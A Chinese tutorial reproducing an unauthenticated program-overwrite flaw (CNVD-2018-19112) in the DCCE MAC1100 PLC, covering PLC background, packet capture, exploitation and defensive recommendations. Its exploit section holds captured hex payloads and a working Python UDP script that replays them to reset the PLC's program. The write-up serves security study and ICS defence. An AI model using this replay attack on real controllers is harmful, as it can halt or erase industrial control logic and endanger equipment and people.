从0~1学习PLC漏洞分析
字数 1743 2025-08-15 21:30:55
PLC漏洞分析与复现:DCCE MAC1100任意程序覆盖漏洞研究
一、PLC基础概念
1.1 PLC定义与功能
PLC(可编程逻辑控制器)是一种专为工业环境设计的数字运算电子系统,具有以下核心功能:
- 内部存储执行逻辑运算、顺序控制、定时、计数和算术运算等操作的指令
- 通过数字式和模拟式的输入输出控制机械或生产过程
- 采用可编程存储器,易于工业控制系统集成和功能扩展
1.2 PLC编程语言
PLC支持五种主要编程语言:
- 梯形图语言(Ladder Diagram)
- 指令表语言(Instruction List)
- 功能模块图语言(Function Block Diagram)
- 顺序功能流程图语言(Sequential Function Chart)
- 结构文本化语言(Structured Text)
二、漏洞背景
2.1 漏洞概述
- 漏洞编号:CNVD-2018-19112
- 影响产品:大连计控(DCCE) MAC1100 PLC
- 漏洞类型:任意程序覆盖漏洞
- 漏洞成因:PLC下载程序时未验证相关权限
- 攻击方式:攻击者可通过远程下载程序的数据包覆盖PLC中的任意程序
三、漏洞复现环境准备
3.1 硬件设备
- DCCE MAC1100 PLC设备
3.2 软件工具
-
PLC编程软件:
- PLC_Config(DCCE官方编程软件)
- STEP-7 MicroWIN V4.0 SP9(用于格式转换)
-
网络工具:
- Wireshark(抓包分析)
- 通讯猫调试助手(数据包重放)
-
示例工程:
- S7-200剪板机控制工程示例(.mwp格式)
3.3 下载链接
- STEP-7 MicroWIN V4.0 SP9:
链接: https://pan.baidu.com/s/1eaeIxyT3Ak1gSxCwYCsaGg 密码: w41o - 通讯猫调试助手:
链接: https://pan.baidu.com/s/1vAUXJZl-gpdEm8n5ga91gw 密码: 28ks
四、漏洞复现详细步骤
4.1 第一阶段:获取空程序数据包
- 使用PLC_Config创建一个空PLC工程
- 将空工程下载到MAC1100 PLC
- 使用Wireshark抓取下载过程中的网络流量
- 提取数据包的Data段,转换为Hex Stream格式
4.2 第二阶段:导入正常工程
- 下载S7-200剪板机控制工程示例(.mwp)
- 使用STEP-7 MicroWIN将.mwp转换为.awl格式
- 通过PLC_Config将转换后的工程下载到PLC
4.3 第三阶段:漏洞利用
- 分析第一阶段获取的Hex Stream数据:
0d008248120023006b00f82a0100000000000d0066a312002400f82af82a0200000000000d00658511002500f82a6b0081000000000d00167a140026006b00fb2a01000000030000000d006b0914002700fb2a26270000000000005e0000ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00 - 使用通讯猫调试助手逐条重放数据包
- 或使用Python脚本自动化重放:
#!/usr/bin/env python
#encoding:utf-8
import socket,binascii,time
sendsocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
ip = "192.168.1.181"
port = 11000
sendsocket.connect((ip,port))
sendsocket.send(binascii.unhexlify('0d008248120023006b00f82a010000000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d0066a312002400f82af82a020000000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d00658511002500f82a6b008100000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d00167a140026006b00fb2a0100000003000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d006b0914002700fb2a26270000000000005e00'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00'))
print "PLC工程已重置!"
4.4 验证结果
重新上载PLC工程,确认之前下载的剪板机控制工程已被重置为空程序。
五、技术原理分析
5.1 漏洞本质
该漏洞属于权限验证缺失漏洞,具体表现为:
- PLC在接收程序下载请求时未验证操作者身份和权限
- 攻击者可以伪造合法的下载数据包
- PLC无法区分合法下载和恶意覆盖请求
5.2 数据包结构关键点
从抓包分析可见,PLC程序下载流程包含以下关键阶段:
- 将PLC控制器切换为STOP状态
- 清空PLC原有工程
- 写入新下载的工程
- 重启PLC CPU为RUN状态
- 将编程软件切换为监视模式
5.3 MAIN函数标识
数据包中包含"MAIN"关键字,这是PLC工程的入口函数(类似于C语言的主函数),是程序下载的关键标识。
六、防护建议
6.1 网络隔离措施
- 物理隔离:将PLC网络与办公网络、互联网完全隔离
- 逻辑隔离:使用防火墙、VPN等设备严格控制PLC网络访问
- 最小化暴露:禁止PLC设备直接暴露在互联网中
6.2 设备安全配置
- 启用PLC的访问控制功能(如密码保护)
- 限制可连接PLC的IP地址范围
- 定期更新PLC固件,修补已知漏洞
6.3 监控与审计
- 部署工业网络流量监控系统
- 记录所有PLC程序修改操作
- 定期检查PLC程序完整性
七、扩展思考
7.1 同类漏洞普遍性
该类型漏洞(非授权访问)在工业控制设备中普遍存在,不仅限于DCCE产品,西门子、施耐德等主流品牌也存在类似问题。
7.2 工控协议安全性
当前主流工控协议(如Modbus、PROFIBUS等)在设计初期多未充分考虑安全性,普遍存在认证缺失、加密不足等问题。
7.3 防御深度策略
建议采用纵深防御策略,结合网络层、设备层、应用层的多重防护措施,构建全面的工业控制系统安全防护体系。